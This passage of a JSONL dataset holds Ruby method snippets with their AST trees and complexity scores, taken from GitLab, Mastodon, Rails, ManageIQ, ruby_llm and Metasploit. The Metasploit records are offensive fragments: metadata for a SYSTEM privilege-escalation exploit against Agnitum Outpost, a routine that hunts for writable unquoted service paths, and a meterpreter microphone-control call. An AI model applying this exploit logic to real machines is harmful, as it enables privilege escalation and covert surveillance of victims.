end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"get_was\",{\"type\":\"send\",\"children\":[null,\"handle\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"GET\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_was\",{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"POST\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"get_was\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"GET\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"get_was\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_was\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"POST\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"post_was\"]}]},null]}]}]}]}","id":"84cdfacb-698d-4eb0-9758-c384962c2650"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/wal_tracking_sender.rb","start_line":28,"raw_source":"def wal_location_sources_by_db_name\n          {}.tap do |locations|\n            ::Gitlab::Database::LoadBalancing.each_load_balancer do |lb|\n              if (location = wal_location_source(lb))\n                locations[lb.name] = location\n              end\n            end\n          end\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"wal_location_sources_by_db_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Database\"]},\"LoadBalancing\"]},\"each_load_balancer\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lb\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[null,\"wal_location_source\",{\"type\":\"lvar\",\"children\":[\"lb\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locations\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lb\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"location\"]}]},null]}]}]}]}","id":"d5dddf2b-3547-43de-9e33-551aa6a276c6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/agnitum_outpost_acs.rb","start_line":15,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        {\n          'Name' => 'Agnitum Outpost Internet Security Local Privilege Escalation',\n          'Description' => %q{\n            This module exploits a directory traversal vulnerability on Agnitum Outpost Internet\n            Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load\n            arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary\n            code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with\n            Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).\n          },\n          'License' => MSF_LICENSE,\n          'Author' => [\n            'Ahmad Moghimi', # Vulnerability discovery\n            'juan vazquez' # MSF module\n          ],\n          'Arch' => [ARCH_X86, ARCH_X64],\n          'Platform' => 'win',\n          'SessionTypes' => [ 'meterpreter' ],\n          'Privileged' => true,\n          'Targets' => [\n            [ 'Agnitum Outpost Internet Security 8.1', {} ],\n          ],\n          'Payload' => {\n            'Space' => 2048,\n            'DisableNops' => true\n          },\n          'References' => [\n            [ 'CVE', '2013-10046' ],\n            [ 'OSVDB', '96208' ],\n            [ 'EDB', '27282' ]\n          ],\n          'DisclosureDate' => '2013-08-02',\n          'DefaultTarget' => 0,\n          'Compat' => {\n            'Meterpreter' => {\n              'Commands' => %w[\n                stdapi_railgun_api\n                stdapi_sys_config_getenv\n              ]\n            }\n          },\n          'Notes' => {\n            'Reliability' => UNKNOWN_RELIABILITY,\n            'Stability' => UNKNOWN_STABILITY,\n            'SideEffects' => UNKNOWN_SIDE_EFFECTS\n          }\n        }\n      )\n    )\n\n    register_options([\n      # It is OptPath becuase it's a *remote* path\n      OptString.new(\"WritableDir\", [ false, \"A directory where we can write files (%TEMP% by default)\" ]),\n      # By default acs.exe lives on C:\\Program Files\\Agnitum\\Outpost Security Suite Pro\\\n      OptInt.new(\"DEPTH\", [ true, \"Traversal depth\", 3 ])\n    ])\n  end","complexity_score":7.05,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Agnitum Outpost Internet Security Local Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            This module exploits a directory traversal vulnerability on Agnitum Outpost Internet\\n\"]},{\"type\":\"str\",\"children\":[\"            Security 8.1. The vulnerability exists in the acs.exe component, allowing the user to load\\n\"]},{\"type\":\"str\",\"children\":[\"            arbitrary DLLs through the acsipc_server named pipe, and finally execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"            code with SYSTEM privileges. This module has been tested successfully on Windows 7 SP1 with\\n\"]},{\"type\":\"str\",\"children\":[\"            Agnitum Outpost Internet Security 8.1 (32 bits and 64 bits versions).\\n\"]},{\"type\":\"str\",\"children\":[\"          \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ahmad Moghimi\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Agnitum Outpost Internet Security 8.1\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[2048]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-10046\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"96208\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"27282\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-08-02\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_config_getenv\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WritableDir\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"A directory where we can write files (%TEMP% by default)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"DEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Traversal depth\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]}]}","id":"96844d50-dbc3-433e-90d5-77f749fcb399"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/unquoted_service_path.rb","start_line":85,"raw_source":"def generate_folders(fpath, &block)\n    potential_paths = []\n    checked_paths = []\n    finished = false\n    fpath.reverse.each do |x|\n      path = fpath[0..fpath.index(x)].join(' ')\n      # when we test writability, we drop off last part since that is the file name\n      path_no_file = path.split('\\\\')[0...-1].join('\\\\')\n\n      next if checked_paths.include? path_no_file\n\n      checked_paths << path_no_file\n      unless writable?(path_no_file)\n        vprint_error(\"    #{path_no_file}\\\\ is not writable\")\n        next\n      end\n      vprint_good(\"    #{path_no_file}\\\\ is writable\")\n\n      finished = block.call(path)\n      potential_paths << path\n      break if finished\n    end\n\n    [potential_paths, finished]\n  end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_folders\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fpath\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"potential_paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"checked_paths\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"finished\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]},\"reverse\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpath\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_no_file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-1]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked_paths\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"path_no_file\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked_paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path_no_file\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"writable?\",{\"type\":\"lvar\",\"children\":[\"path_no_file\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_no_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\\ is not writable\"]}]}]},{\"type\":\"next\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_no_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\\ is writable\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"finished\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"potential_paths\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finished\"]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"potential_paths\"]},{\"type\":\"lvar\",\"children\":[\"finished\"]}]}]}]}","id":"cbe0fe98-f3f3-4607-b212-7de13795b276"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb","start_line":50,"raw_source":"def mic_stop\n    client.send_request(Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_STOP))\n    true\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mic_stop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_AUDIO_MIC_STOP\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"17fba667-ec70-4df2-9bfa-bb968603c722"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_imports/file_transfer/base_config.rb","start_line":111,"raw_source":"def portable_class_sym\n        @portable_class_sym ||= portable_class.to_s.demodulize.underscore.to_sym\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"portable_class_sym\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@portable_class_sym\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"portable_class\"]},\"to_s\"]},\"demodulize\"]},\"underscore\"]},\"to_sym\"]}]}]}","id":"65f10618-e369-4d0e-9f4b-f687307184e8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/dimension/store_helper.rb","start_line":19,"raw_source":"def store_size\n    redis_info['used_memory']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store_size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis_info\"]},\"[]\",{\"type\":\"str\",\"children\":[\"used_memory\"]}]}]}","id":"a91c88e6-3729-44e6-9d73-1869da2ec000"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/worker_management/process.rb","start_line":88,"raw_source":"def sync_starting_non_rails_workers\n    starting = MiqWorker.find_all_starting\n    starting.where(:pid => miq_processes_by_pid.keys)\n            .reject(&:rails_worker?)\n            .each { |w| w.update!(:status => MiqWorker::STATUS_STARTED) }\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_starting_non_rails_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"starting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]},\"find_all_starting\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"starting\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_processes_by_pid\"]},\"keys\"]}]}]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"rails_worker?\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqWorker\"]},\"STATUS_STARTED\"]}]}]}]}]}]}]}","id":"93246ded-cca1-49d9-b6a7-ebfb240c7b16"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/context.rb","start_line":21,"raw_source":"def paint(*args, **kwargs, &)\n      Image.paint(*args, **kwargs, context: self, &)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"paint\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Image\"]},\"paint\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"3c9c8ce4-273f-4f89-b98e-cc8348869c14"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":1375,"raw_source":"def test_select_datetime_with_html_options\n    expected =  +%(<select id=\"date_first_year\" name=\"date[first][year]\" class=\"selector\">\\n)\n    expected << %(<option value=\"2003\" selected=\"selected\">2003</option>\\n<option value=\"2004\">2004</option>\\n<option value=\"2005\">2005</option>\\n)\n    expected << \"</select>\\n\"\n\n    expected << %(<select id=\"date_first_month\" name=\"date[first][month]\" class=\"selector\">\\n)\n    expected << %(<option value=\"1\">January</option>\\n<option value=\"2\">February</option>\\n<option value=\"3\">March</option>\\n<option value=\"4\">April</option>\\n<option value=\"5\">May</option>\\n<option value=\"6\">June</option>\\n<option value=\"7\">July</option>\\n<option value=\"8\" selected=\"selected\">August</option>\\n<option value=\"9\">September</option>\\n<option value=\"10\">October</option>\\n<option value=\"11\">November</option>\\n<option value=\"12\">December</option>\\n)\n    expected << \"</select>\\n\"\n\n    expected << %(<select id=\"date_first_day\" name=\"date[first][day]\" class=\"selector\">\\n)\n    expected << %(<option value=\"1\">1</option>\\n<option value=\"2\">2</option>\\n<option value=\"3\">3</option>\\n<option value=\"4\">4</option>\\n<option value=\"5\">5</option>\\n<option value=\"6\">6</option>\\n<option value=\"7\">7</option>\\n<option value=\"8\">8</option>\\n<option value=\"9\">9</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\" selected=\"selected\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n)\n    expected << \"</select>\\n\"\n\n    expected << \" &mdash; \"\n\n    expected << %(<select id=\"date_first_hour\" name=\"date[first][hour]\" class=\"selector\">\\n)\n    expected << %(<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\" selected=\"selected\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n)\n    expected << \"</select>\\n\"\n\n    expected << \" : \"\n\n    expected << %(<select id=\"date_first_minute\" name=\"date[first][minute]\" class=\"selector\">\\n)\n    expected << %(<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\" selected=\"selected\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n<option value=\"32\">32</option>\\n<option value=\"33\">33</option>\\n<option value=\"34\">34</option>\\n<option value=\"35\">35</option>\\n<option value=\"36\">36</option>\\n<option value=\"37\">37</option>\\n<option value=\"38\">38</option>\\n<option value=\"39\">39</option>\\n<option value=\"40\">40</option>\\n<option value=\"41\">41</option>\\n<option value=\"42\">42</option>\\n<option value=\"43\">43</option>\\n<option value=\"44\">44</option>\\n<option value=\"45\">45</option>\\n<option value=\"46\">46</option>\\n<option value=\"47\">47</option>\\n<option value=\"48\">48</option>\\n<option value=\"49\">49</option>\\n<option value=\"50\">50</option>\\n<option value=\"51\">51</option>\\n<option value=\"52\">52</option>\\n<option value=\"53\">53</option>\\n<option value=\"54\">54</option>\\n<option value=\"55\">55</option>\\n<option value=\"56\">56</option>\\n<option value=\"57\">57</option>\\n<option value=\"58\">58</option>\\n<option value=\"59\">59</option>\\n)\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { start_year: 2003, end_year: 2005, prefix: \"date[first]\" }, { class: \"selector\" })\n  end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_datetime_with_html_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_year\\\" name=\\\"date[first][year]\\\" class=\\\"selector\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"2003\\\" selected=\\\"selected\\\">2003</option>\\n<option value=\\\"2004\\\">2004</option>\\n<option value=\\\"2005\\\">2005</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_month\\\" name=\\\"date[first][month]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">January</option>\\n<option value=\\\"2\\\">February</option>\\n<option value=\\\"3\\\">March</option>\\n<option value=\\\"4\\\">April</option>\\n<option value=\\\"5\\\">May</option>\\n<option value=\\\"6\\\">June</option>\\n<option value=\\\"7\\\">July</option>\\n<option value=\\\"8\\\" selected=\\\"selected\\\">August</option>\\n<option value=\\\"9\\\">September</option>\\n<option value=\\\"10\\\">October</option>\\n<option value=\\\"11\\\">November</option>\\n<option value=\\\"12\\\">December</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<select id=\\\"date_first_day\\\" name=\\\"date[first][day]\\\" class=\\\"selector\\\">\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">1</option>\\n<option value=\\\"2\\\">2</option>\\n<option value=\\\"3\\\">3</option>\\n<option value=\\\"4\\\">4</option>\\n<option value=\\\"5\\\">5</option>\\n<option value=\\\"6\\\">6</option>\\n<option value=\\\"7\\\">7</option>\\n<option value=\\\"8\\\">8</option>\\n<option value=\\\"9\\\">9</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\" 